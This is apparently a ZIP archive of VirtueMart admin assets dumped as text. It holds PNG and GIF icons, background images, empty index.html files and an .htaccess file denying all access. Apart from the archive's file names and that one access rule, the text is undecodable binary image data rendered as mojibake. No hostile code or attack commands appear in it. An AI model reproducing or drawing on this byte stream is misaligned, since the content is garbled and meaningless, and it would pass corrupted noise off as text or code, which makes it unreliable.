.kGQDQ\/֮@W׷Ծq4}˻b?ԂgƦ *iIzi6W˯_Ͽ84{o֧ladPI™Oji*:?K/n~b*KQԖP(,˼HE$q!6_w/TZ$ i&JJ\PHL00,EkȎůl2HPa@,vS@s_9-nYtǜR h&}p0\rdk6v.  C ˧<>rm_mZPUOC>.E_Z6B; ωS0pǫ_/ uM hj!G̢!CN]зyb 2(XpӠ~@I3<2Qo6TUU `2jTD2=u{8ҤxD7s}41q$`d/ep)@R6UKtw@8`Cs9WR9^!%}@C/QKbGX/|Bq+#B}7NU;Irং(',bMw64)e2> RV?C鴜cӼEE#gW)"J+!O b J'+ܐ rS[\ O b2e%2`bp^!)6-iK*!@2bX˸9%cuR9Ym)ø@ޟ/`_IߢBd (8a-?KwPW*&Q1W8LS4qq+\HuIKhGGe TxUq_M:0hJ%|T!(ƽ-MPyMPTqc+mr٠؉:-#[2/-Ftl4>R I]L# i\14>&XIENDB`PKs>\6Ytt,com_virtuemart/assets/images/icon_32/bin.pngnuW+APNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxڬW]lTkڻ[XPl.Dۄ8$EiW*QE>DKU*G/Uۗ%C{Mzm]߽3LǍ4:{37s̅i'oq4#GSZ(zl(Gmt8͛Q_ͳOOy O7ڒ÷nllRw?(A9DB`^E6&6Zo} ~<=-OG45L$u]:xo`VӀā_t_3+0 .;l¢id~C(鋨vᅗ_շoB)ECu=o܈$qC'y*2 ;b}2?V@? /ߏv,.޾ǘz=[Zw`{#x/7~g>.|qF 0#L%y?55!$Dy`dWЎ?:t)f:>`PC۶e ܵbO6w#6wֶW]{*(ΩK8O]W+!xӗEa'1E'''e/xL1gMxBt~#G^p?Q-8vS,]2g%kkkPGхR3P( Á|>ttvum6ͺXR;/R)*VDC2F ǹQAg<cyl#[**+e04 f)$ K:0'%d,nY hgUBIyagn .:xBe@^\Vشc#wdP բ!@5E*3L ~pNmn:(0; E#Flĕ=O$(|4 ABhԖE6x3S+I1!"cYq%]hkE,Z w+++ uQihhfs0u jP?d|_ D>F’l\u╦)N@ll.Cwc2d=_ŅńnHo?="i&Jq2y[֘[ +so% hg7 suC%Y Bvʫ;[RpJ`fo4,\t6m,kuS(^yjD# O]?skXSvm/5Y j===|{Hdm} Ζ iN LJsjt:E{>EAO3樖l`?S*;cZ/wC|MeH[*JoCXp<@ZU)fFPVdQY@>N\YJ78t3IENDB`PKs>\W1com_virtuemart/assets/images/icon_32/elements.pngnuW+APNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<*IDATxڬWYlTUΝ.(AC-t AiP+7 7%hb41Ay3ԀI,$ t@Nۙ;әnNgr;D[ᘯ=#<k9ug:(>(*|[(-.dl qo n~g!i k͛h\_{p(@);欜Éڻtu?CU#0O9*VyZMK.*XTF&p}`c*06mGW½:d>pu+H"AVRn!*_yGRVH~4$t֥AZTp(g$~z HЖ.-}plXد0w"@gC)`?lIENDB`PKs>\).com_virtuemart/assets/images/icon_32/.htaccessnuW+A Order allow,deny Deny from all PKs>\^l;;2com_virtuemart/assets/images/icon_32/server_go.pngnuW+APNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxڬW]LUR ZJ#*A%*FcM4I`ZDbL_JhBtZ5iX*44imeݙsw݅`orgvf9νw܄pu5,s֍?J&ؿHQkV iK-&02zϴ1zeꇻmhMw~3< 4>'4]^x /+|a*d%xc{3Ee!?b :=>6b۶z(v ΎK${~FټIXbEimpN" H\W,dɅҦqwRNx>1Z {3JYeJ Bz)&nƌ- Nvk ]=A\"s5+&S*pUQU_vK +T$ZCp3S3gmL0- g2udےDͲdbeǡb\gt\(,įgZQ_ ћ" iR%;h-翴r l]KFBYNh$cgwih>-tfZ p Ta3*FJCV݊@hRQ]x(sl9?7шܴ"MS=5Bso\ x8%wo$8s,؞ ~Bb9^@<諻{G?~[1:1Ar 4Da'1u-D1k7B4uѨ{(TZD$z"=< US/205yL+ }P9nY Dz9y<4}|?'*Hd?(Q_R.g5HU5Ӂ8l4YSH 'px@oEDV,7_j^msoR}DIENDB`PKs>\MnII4com_virtuemart/assets/images/icon_32/elements_16.pngnuW+APNG  IHDRatEXtSoftwareAdobe ImageReadyqe<IDATxtoU3s=c 6EJ&j+(R-EjXa+X&5  5RS5}$M 츶u9'H39|kyF~̻E/13 PJnwVAD1u:$f aCد*_f;zVkHPc>)nZg,~0u\jd&YPRׅz@vWՠ{utsW]e=ϛH2bn?8lh851𻇸N۟Z[=Y~ p*DQHJHYg?*Ga%t$%{;wtVQ'Н0`B:y> ŗ-5k&G*0OG7=O9SȾeo*z5 QD '럐.M L3G{vNqb*CK?i$4< ++=v5xbbLtSX p_ خFGʲGfil ><ޠ+PqoJSDC&io>c$cFY~!b φt:{{fK"Kt]Ip"-J@/Si݌n+{3~JFP,TV$زm Xia[dƁ6^ '8Y_LQk 0C*YmIENDB`PKs>\RZ4com_virtuemart/assets/images/icon_32/exclamation.pngnuW+APNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<{IDATxڜW]lWk{7kg؉cC(NR&E @KR"*x/< # ⣃ga@ש[yboٰ4I@1q+Y,~:BW&~D^>:M *LDn.Rb2=LJK+ A9B[HFz@t:=N'(a/D9 .5Q.=?q׋\!׮, 06]d@R5ChdBK!$1)&ӫ*gY7p9$` @#{z3UKsUܖ!+-g PSmKTetpRؓy3hJB 8Ybuʣ:tDS)lvr}aי$UM bN%Sb-?BL_E6u"u{X0obrQݵd[y^9bƈ6-@mqe 4U%ip5l ",(J5Q #k XX<ÿҝ(7?B ~ Z˾wx̪hz{yE)+%cqP蚰꺁9z[a=< (>ɏn-tn5@:$_iRsH3/z%4d uDIЈ0 Wo9Ǻ@F2֊9J18^B'zʩ6Hm3nB݃kא ˷o$3ˬ[XZˋ3HF(`%jWvVQɪz6+#og:Y]|v*CβAH\lŦduZ|m <׎o"EH+So2.*u4`@#"xru0~Z,B[Fdo+҂(hHzNi4B\nڒ#9cCcA[JH]X;mfS/ izwԻaNXE)  oyhjhp}}T w R*..g#k|`4d=(e{1=a\$W?f+aBBDs'lEW2\L(Dh޺Ep:BS3ROL>1+4zӊ۹LJ\S&UŽdQ|\Mxal!W{}OqBe*k*j6uϳ֩u".$}-+3u@LIENDB`PKs>\Ю1ww0com_virtuemart/assets/images/icon_32/printer.pngnuW+APNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxڬWkW͝;dM֏Vni m.E|i|,@Ŷ?`A|h!Ԣ%}ҠƆJ%YS|~9wLݸff=p3skȓ_pZa l!jڙ'IQQ `]]$CzlEQr;xL 6 4k+ORs@Ś/=PVlҷy;ب#DnItt[=)ekhX`]3KWWkaDy"'5F955u=<)hiA:مʹZF1CvO0Vm O%y ~ Bv?[(zKA m{]T&h6xU(nyށ^FwG^R&rj4bp"V X?`[WVV&U -9Mn ]okؽm|\N\N$gmm5com_virtuemart/assets/images/icon_32/icon-32-save.pngnuW+APNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxWMHTQ>/!ctS#-+TQ79;$7SPsS Aw %Pk#R!Qpr;''n;yo~lfpӁû{w9&Kt8---QMM iἯIx<1??OCۋyϧ&2__;NE^u||_1Raa!ҏa872pTT2nRSSXܤU]UHm6hll>JJJ"ժZ,NNNRnn.Ai0 #81 SDuvv2X.WH*ҁ%Fr)ȩR<'OtT#PVVQhG (9Ju8 twwwtp%}yy9G-+Iyo$3_)B&2W { nL8QCrVQQA Y,[-*I+S y򽶶3sV XNc+Q8==}V${J9h#bdʢϞ'Ovr,r6=WA^G{{IK.lCh8PДftL7L>\Qqf3E*=\S } G"ZWlҮn Kͦ!n.K wNNI uttX.P <"^=A5X7͛rk*%/6.p8TEPPUiׯ^<|L&Qvv6effEFFzd\\RďW pBJ|&PH- A&&&G4&K"⌃ʒWV`j@JMB(J mhH`Nᕡo60Q 5Ss&TIENDB`PKs>\/com_virtuemart/assets/images/icon_32/index.htmlnuW+APKs>\*1++3com_virtuemart/assets/images/icon_32/arrow_undo.pngnuW+APNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxWkLW."h<`В6Հ|࣍Mbk4-IQimRMI|D%Z7]VXD]N"責͞{ι9 #I^珗/ ÌxV5墌- |)wNcc8ZxqqWbd"ǮTFYM,Wq^/ t 2RJ{mhlۄ+&DW $iIp 6 F<$'PHxI@=X8rXp+P)M) >2d@dHe;P'%1/ayw-(.3X2.gKZBhJb0|qy8iHDW_=Gz  эjWRE9Xzרki"-ێ}.x ֗~~j cMp{qlAS5h7{U >!jip+LȑYo41 H6 ;*'A6 Z0gJ>pd(W{NG`F9zv98+0W*eq>^߂]g-z@Ca3;S:)6CLIjoOˠ>Ely- ߂XJ٩f晾1ˍL--o@6y[qJb4=9ϥLAnT1 aY\e)com_virtuemart/assets/images/trash-24.pngnuW+APNG  IHDRשtEXtSoftwareAdobe ImageReadyqe<yPLTE:!;fEfF0F44eDeeEeE/EeFeC.DB+CY=Z^?_bCbQ7RE0E9 :33󥞤T9VP6QU8V@)A:(9<*=SCU,0\?_^>_q\lL2Mo^oʸn\lcBcaAbhNi5$6UEWfKfaBbE.G2"4.1cP_俲M2MP2RĵnYiwbtR7RλH2H+/VFXƷ|k{nUlG.KbKbr|<&=89xA-A_A^I1J6%7˾_A_t_rW;Wu_r_@`7'3D/DX:Y_A`{dz4479rgrB-C59@,@C/CH0J22vftF.FЊx%&7!8cCdS9SrZoM5O9!;Z=[G2HF-FQ6T[?^V:WŸ;&=䨕67%&F1FdCdƶqUrx`suXuZ;[bDcF-C:&=D.@]@]ġ.09%9I5JO4P##P:RL4N.2K\]'*0com_virtuemart/assets/images/admin_interface.pngnuW+APNG  IHDRStEXtSoftwareAdobe ImageReadyqe<fiTXtXML:com.adobe.xmp \IDATxY$W}^{]f2b; a ɀ18@) "yJ䍇o8qŋo}4 <&XX&|T9azLUVѓ^~24:\jYIVŅϚ=?xLÏDxNq\ޫ;:v<>7ǻ 8 ˪~yxNU~|$|ԁׯC!$킒L9n';3wHRt:Lv^ˡOy!> x-1'^Vm5jyxC"܌AVZ G'~Wsug=VRjw:X|b+vQ-mǢo9$<d|BV(@1'YVҹ Mռ %+<#WXރ'Ar=n֪zgL Ebhܮ5 x<9}lQ pnAx^5sGb{=hoI瓩|" ~@ /rɱ9deZf:aFL6t=<Dg ˚뱲|@&[;yxީV3c$K!agxw$%'!=eOfrEs C7t6i^PڱHlZ%׫z/~DdmBh"pݶ@(V{Dm~"iLPZu{pdb+y6x^s=D!(@7{C|B/ލZH$鳥m =x.Vd&~yF*k kM:[ރ'x0.E /h!-h2xU6i?76p# f 6Muj3Lj3,lj3Lj3lj3,&X]m4aP`6:[F+d @^j3Y$i9D. kuj3fV0, r摕>vky/KGQrPmkO`^ѓG_}EA $9(^_Pޫ(ȳUQ<΅оtݬMd]>2/ r аv{-j3  cAnCo"^?^7@cڌU|7O?jW^BQhRSmfxXd%(GtWA^ƺj3DTlG*XQmvQ<@uf =@SPmQj3 X6MX6ͮBh]@3 QmPmPmɠj3TX6Z6V6X6Y6buf `ֺj3V(sf=66ۛt_OKG!a>|S1pjwD57ڌsD~>jYMv^Vu1iFcjZkvmczH$"qа nfn{q[jM}}RSWI>rE6uj3S&#I?|_bL܆Bj3 ZM?Py.?[7~Dao I~H85uEܟKuGҳt)4cTNyw-E,Hn7\97m꪿Wp6)12Eȝ뛿~.GK|Eg6Co|aPpr5F}N9s,]Ch]@3c 49@S7@PmEj3̆BTfN|:n4ux`/hz3 ̀oAStfҍx hi,[tc4:Dz-e{ Ƃi,Bˬ2+ :uƂb,L,SxmhHn5wz\nZt? E"CWΝ;Jel- G XMK<߽{w{kO&<=j6C!PE $ _y>S4U]]]B0n%cctzIzx)MG($IZtN*BϛƆ€ }{{'Ϟ9#tO@opN;'².]v/_g.\|NeI u/5ΦFSָS0i{]P"N<f" Pa(Wq;JQ>ЌBhVƂi fY f f f f fY= 4+c 4+ 4U 4_ j3 /n_KV>YDP=]m毯Gx30f]/6j f kS]m_^Vio$@~O6CڛLgFDc%)j3 j3_eN>}*j3С&v?y|̓}"Ǣ c 45 0yGhS,bR0 !C!PA Qm/lE=}A\y9g `( D>;{,^1 CT:'^ KE>;{2dYI$G׎6$JR* S~>9z T^GB^aWw" AxA GSd|2Cz˞[J [XRhCiO:|&[XY;Wp"bs‘X8%η 5}TGDu 4uh4f֓aP(/.M7s&@0T{v$mfʙyF\ދ3-ZN3$OUq'އ{kwo u3D%yx~q|>ORӹnyx^x[#)Y <ώ$Ig>AI#޹)J +rs9^>WTuz<(hEOzZT}TGD ) ;aEUm}yNd: !ua:W#J \Ҿ%com_virtuemart/assets/images/show.pngnuW+APNG  IHDR+jtEXtSoftwareAdobe ImageReadyqe<QIDATxV1PAG AO?R2Rʕ(RBH "@x,oex/fwa,MKGX>>wn&+ ]tO0-I>&[qa'N$/{7ANf2@ Tٌ2>ց,w^VrB42 C~I^.{u]'C>y oƻo!Y׳moc1[VX,h4"b>ȢVEF&L2~ eYsu\שVQ,P($sZHHpHv[уpP9R&'V-MR9P*ކJ(`.z=et:Hǥ*丢anO!,D9pUg'9߭$ǒFsa˲P'<`V?*-~u:T*&u4Dw׷[Lo([DJS?22qt- xxĎkqpP9}bq#Z:*') /LV&g\(>~ )wYs5`3IENDB`PKs>\-2LL%com_virtuemart/assets/images/cart.gifnuW+AGIF89abO"%!*%"''(1-*51."+3'.6'1:642:63=;::99 B>$5D&8J%>V8>F9CJ&B]6HV&Ec&Jk(Hi)Mt'Os)S|(Rv6RkJFDGGHQMKTQNFNSJRXTRRZVTZZZa^\GUdW^cYciZkwRj{fcbifdlkkhhiqnlspoutsyvu{{zyxwgqxeb_~}*V.X+\*Z/\-].^/\2^6Y.`,a*b.b-f,e,h=f4b/e,j,m+l+o+s.t5w*w+y7}:nDlStezJvVy9{FQWVlfxqx 57.JYeXSNkixwhykFQfw}₂śĔʜĔnjڄוاƵ»Εݛޝ׿¸̴ҽӻҽԬڇ! ,bO HSwӥE]]‹3jܨ) ```DqI&zRpYcɂ M! !ͧP1`F@c:psjUdPѻp!QV39z×o=yѣ(C r{@X ` &l=hBɛg7W{`AK,.ACAgopa{;iB@b ,TXlرrFR<3'!-SƿcDB(U $"*wC>3|I Ѝ?鰣:cb:먣N<2 #`Cn  `}Ϗgΐs)6P %"pB 0p!10 5p,QkPK!8 +H0 M5( oQGc10ma<*T,gœ1jH~6ڮp#A$cISS %Kش0+B9l^\`:0#\BuAGXB(]9  +圃ŀEآUB $0'` 'х e CebU?=B8H`J a/r{ 4xA$3an(`7p5[ !8C*tB5`sF9QbH?t4Bч;1 N`BQ7`aF0ݘ'qLXc '=I-T TB,*@zʸ[80ai ɜF Ol`lbS ̰Q#{7>adxFzx !l$A5`0E|bQL|b @pfs PQ#87)"}<uۀ6b@LcA5nc2J T <-(6@(5Avw20$'KUAm6 DdΨ%jFxz+ȕBK7X-N1b(P}ã Dl"Ӱ6Fm`ܸ'"5hj:)|a)3"v-1t=(÷*Utb4j7gth( Yv(,xIy@YЁؓ0'.?(QoO<(Ee@ R5K݄%Axm\Քu?ׅlX?Aj4X, nd#=Lj>=) 0 5ayp Px 8 ~J0 ip&wHDi׆PɜʗNp 0=@ʐ 8 zp QPS:0 :mK̨}HC zIZE0 Κ 050 P `u  B;۱l ";  P ӐZ0K8Pp`7г>[5(@9*`D`ڱL۴NP2p5p={8`B7  y 0y ! N t[u xz|۷p ijp{ !pe{Pxe͐ O`v뷞y k7x fpw gg ۷ `{; КP r@۽z+ $ 0 Kȋmpw\pӺ i \ $ ఻zx ֐!zpwjw CP ` ny o  J`yj o@wZG` G y \ P RE Ѐ g k on߀h0 @  l0~\{` V @xzL`yz)y E`М\ A iʻpEEpgl ʵz rPǯʂ`F|7e|G C0ɚh PN A ph  œv0 \n0ρ @̉5ոP\J@G wzՠ Ӱ _Nqoϰm@0˂˃pD̪`;` 6Pi J@laO ÆɘLo`l ,op 8E\` 0:P J  P pΥ Φ2 l vv, l  Ȁpiͪê_h_P|Op+ OҪ l } lF% `1 0 M}NAO͙N <о=˃0 P=uq٥ ~]Rpא i x piҐg  ")-n00<qm\ xj `ֆ NT@ ʕD JΛ Qyz K@S~h~-b t^<lnn|煻4QQ 0^~舞芾苾xy P~阞难и;PKs>\Xb(com_virtuemart/assets/images/vm_logo.pngnuW+APNG  IHDR 3$ pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_F EIDATxYil\u>޷̾/6]VR%َdٮlp$qM"5m*@@aI$E'qjUepH޼7{qlśXu=g;އ~TQT=*> u:Y)57frbWS٩ѩ؈M.Mm%[쁨1B5UչʥJm]:jΪ{Q,%Cɯq_X5U6CJ_ϻ ΝvVunPVz-9챍>`O5=Upts}/K)D<>eF׵ѱ֦:1 *0/^]^>~nz֒>Y.$O<{F '!oL?y9669>1f#:@0`] RQ+_Z~ɧ^-}BO{=̿gAV<6B'a3MohZefbi+h#xKmN0BU{Tcu/ T ^|e|fs)e,!pL3YwMLuN!ggf^YÄ;D.̆})pRJ1~Cx{ O(/ǵщo?&(6UQ̓x^)p-F󫉶HchJ%IXk G;=kmKQ wv)Yĩ'>\R}Aq;Ƕ3Kɟzi kltt;pMA ^]F٢ڌp < 4խQbC`pKaytZyW߸Ӽ#P t-jamDbrnxVR"v䱒߼AB<`dDD" >g@b>#M%jtwTD3G뭬щ0>xEahS?E̅C/=E{wYD%h[!x]V4)mokX_-s6i+K] R;\I[ji]m\799uϝ=N|Lῼ5zy$ @W %T": eL@0n:3[.r-+Ith Cx܀ [rt5iI09 `+0R`B `~BlUB>̊HY -s#XQJ%[~J]bs@[QqxE<>[D[(Gk௿~h 3ZP&tIN @,%&'Mj]d:m݈cs&~oyw&Ǿ"0xokj>g6[wD]8|l]Qd%F8bE*:`D02^eɵ/:s]ݑx 5};Я u$҇{O/L8ͱ47 Q4{|BA- Lm`f144p3+pL^"ov:8ST`8d G`ifȩЗ&{N5vRǁ˃HJkQmwkbwNL&JYZ(D0(HtT$6 Q \.c^ 72ʲvBdl.`^7(+t*e%Ul6jw83)IPvN^U-vFa+0# /c'\VMfɜ3ɢ颚.͌"fR1fyQj3mӍx H8QS$í٢iHuArYMb9j ʙ$8ZyJz U|&FIIENDB`PKs>\;v9com_virtuemart/assets/images/admin_ui/content_bg_grey.pngnuW+APNG  IHDR 2ϽtEXtSoftwareAdobe ImageReadyqe<ZIDATxbyA&&&fff^2|61 ee3H0TRp|/_6<\KIENDB`PKs>\4>><com_virtuemart/assets/images/admin_ui/icon_external_link.gifnuW+AGIF89a fff!,  ǡoVjnaeѣ;PKs>\* R3com_virtuemart/assets/images/admin_ui/icon_info.pngnuW+APNG  IHDRatEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp VD IDATx|SkAy3{w{Yo/%"`%6F!X[iBNP HHaP[;& 6Bb.ۻݽݙ7KN6;޾7}.Tr3Z]Sdӟf~X>/ :bXD5d?G< hqhr' j{^ojP]_Hыȶ|Rt:%-MTF=4ZO(`#۾]þ/F& Iz VFW'+d/~5p/;ڱ]MjG:;ha2@5Jʍ3DhVJ]kr-S8uכ%d>,ݐNP?))T NAlP u8I41,"w.V>Ӧd,< ϗ]]w-KwL ȗ_CQhg!_*riHnd+j#9M5:A`0.xBFo9үIENDB`PKs>\Ζ2:com_virtuemart/assets/images/admin_ui/saved_background.pngnuW+APNG  IHDRbtEXtSoftwareAdobe ImageReadyqe<diTXtXML:com.adobe.xmp dN6IDATxb9tL10`2.e`*Vb:IENDB`PKs>\D_5^^?com_virtuemart/assets/images/admin_ui/saved_icon_background.pngnuW+APNG  IHDR:tEXtSoftwareAdobe ImageReadyqe<diTXtXML:com.adobe.xmp IDATxVN0n;dљpmWFW1Bހ… zT+FЯ_{c ,sCM/40oߨ7tX5 nt"a>n6q#nt]u\~t'k4,Zض=c :Tz5(>^Ju r.LAv 8fYfRJyoI>M"h L<R=7qQ"C8 Sai8),p,1Dvf-*B+J5*LSEU;jJDz0mm)*Å=,JR.Ř^%pWG|^5JĢZo>M`%J xIENDB`PKs>\>zz@com_virtuemart/assets/images/admin_ui/content_wraper_bg_grey.pngnuW+APNG  IHDR tEXtSoftwareAdobe ImageReadyqe<IDATxblooiii&T@* 4PIENDB`PKs>\ M+?com_virtuemart/assets/images/admin_ui/admin_menu_background.pngnuW+APNG  IHDR{tEXtSoftwareAdobe ImageReadyqe<fiTXtXML:com.adobe.xmp UUGI7IDATxbg&`?L?^u2!%a݇i0`x<دWIENDB`PKs>\0com_virtuemart/assets/images/admin_ui/index.htmlnuW+APKs>\_[  Jcom_virtuemart/assets/images/admin_ui/admin_table_th_header_background.pngnuW+APNG  IHDR;5wtEXtSoftwareAdobe ImageReadyqe<fiTXtXML:com.adobe.xmp Wn!+:IDATxbgb```?ad ?N6*] fhTف11uSA IENDB`PKs>\+ + 6com_virtuemart/assets/images/admin_ui/page_bg_blue.pngnuW+APNG  IHDRh L pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FVIDATxڌ 0Vt BlH XS:?6os9Z˿w8ͿcB eIENDB`PKs>\*?=<com_virtuemart/assets/images/admin_ui/tabs-li-background.pngnuW+APNG  IHDR'>Ґ pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FPLTE$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~@L>IDATxB*;;BX)^JW FbrJT͒;IENDB`PKs>\X;com_virtuemart/assets/images/admin_ui/container_bg_blue.pngnuW+APNG  IHDRj pHYs  tIME %'dIDAT(ύ C7ݠ߃U,F^y"# ' "p U $iw 92&t6& !ZxcG ޅ=gFnQ IENDB`PKs>\Ъ`<com_virtuemart/assets/images/admin_ui/tabs-ul-background.pngnuW+APNG  IHDR;*piPLTEfgkghlhimijmijnjknjkokloklplmplmqmnqmnrnornosopspqtqrursvstwtuwtuxuvxuvyvwyvwzwxzwx{xy{xy|yz|yz}z{}{|~|}/DIDAT-… 0+33Ⱦ`z┃Ef&F饳ZiX"B ->AdIENDB`PKs>\w  1com_virtuemart/assets/images/admin_ui/save_bg.pngnuW+APNG  IHDR2& pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FHIDATxڌ 0 